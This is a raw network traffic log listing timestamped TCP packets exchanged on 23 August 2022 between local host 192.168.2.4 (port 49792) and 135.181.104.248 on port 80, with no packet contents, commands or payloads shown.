Aug 23, 2022 03:42:56.495769024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495795012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495798111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495807886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495883942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495909929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495934010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.495950937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.495970011 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496001005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496005058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496036053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496083021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496085882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496138096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496164083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496190071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496213913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496259928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496304989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496341944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496372938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496376991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496403933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496404886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496422052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496431112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496440887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496454954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496479034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496498108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496503115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496527910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496547937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496556044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496572971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496597052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496622086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496635914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496644974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496679068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496689081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496689081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496742964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496751070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496776104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496798038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496800900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496841908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496845961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496874094 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496882915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496901035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496922970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.496925116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496972084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.496995926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497010946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497036934 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497039080 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497062922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497087002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497102022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497111082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497136116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497157097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497160912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497167110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497205019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497230053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497247934 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497258902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497271061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497287989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497312069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497330904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497337103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497351885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497360945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497375965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497396946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497405052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497432947 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497445107 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497473955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497478008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497503042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497517109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497529030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497543097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497569084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497684002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497711897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497749090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497752905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497756958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497796059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497837067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497843027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497876883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.497921944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.497963905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498004913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498011112 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498047113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498090982 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498117924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498157978 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498161077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498184919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498228073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498281002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498305082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498343945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498344898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498367071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498392105 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498414993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498426914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498434067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498490095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498534918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498543024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498601913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498625994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498647928 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498661041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498666048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498689890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498714924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498733997 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498744965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498769045 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498771906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498790979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498806000 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498857975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498882055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498900890 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498909950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.498924017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498949051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.498982906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499001026 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499053001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499078989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499175072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499197960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499221087 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499234915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499250889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499275923 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499424934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499478102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499490023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499568939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499593973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499618053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499639034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499708891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499737978 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499797106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499802113 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499849081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499878883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499902964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499919891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499929905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.499950886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.499998093 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500025034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500042915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500061989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500081062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500097036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500097036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500114918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500149965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500154972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500189066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500205040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500243902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500261068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500277996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500308990 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500317097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500318050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500350952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500399113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500416040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500432014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500448942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500474930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.500490904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500515938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500521898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500525951 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.500559092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.672925949 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.673602104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711246014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711296082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711334944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711339951 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711379051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711421967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711504936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711539030 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711546898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711589098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711594105 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711620092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711661100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711664915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711699963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711740971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711743116 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711781025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711826086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711869955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711909056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711915016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.711949110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.711996078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712018967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712060928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712114096 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712308884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712361097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712418079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712421894 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712466002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712506056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712513924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712547064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712589025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712594032 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712627888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712667942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712677002 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712707996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712716103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712749958 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712793112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712799072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712866068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712908030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712913990 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.712946892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.712951899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713015079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713057041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713064909 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713121891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713125944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713170052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713212967 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713218927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713239908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713279963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713330984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713332891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713423967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713474989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713511944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713562012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713582039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713641882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713699102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713701010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713758945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713821888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713902950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.713951111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.713958025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714009047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714049101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714056015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714103937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714152098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714154005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714198112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714238882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714245081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714289904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714343071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714344978 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714386940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714426041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714437008 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714468002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714469910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714509010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714548111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714557886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714687109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714736938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714740992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714785099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714787006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714828014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714868069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714875937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.714921951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714967012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.714967012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715018034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715065956 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715066910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715118885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715168953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715169907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715210915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715257883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715284109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715323925 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715384007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715440035 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715483904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715522051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715527058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715617895 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715660095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715666056 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715727091 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715776920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715795994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715837002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715878010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715883970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.715918064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.715965033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716034889 CEST	80	49792	135.181.104.248	192.168.2.4
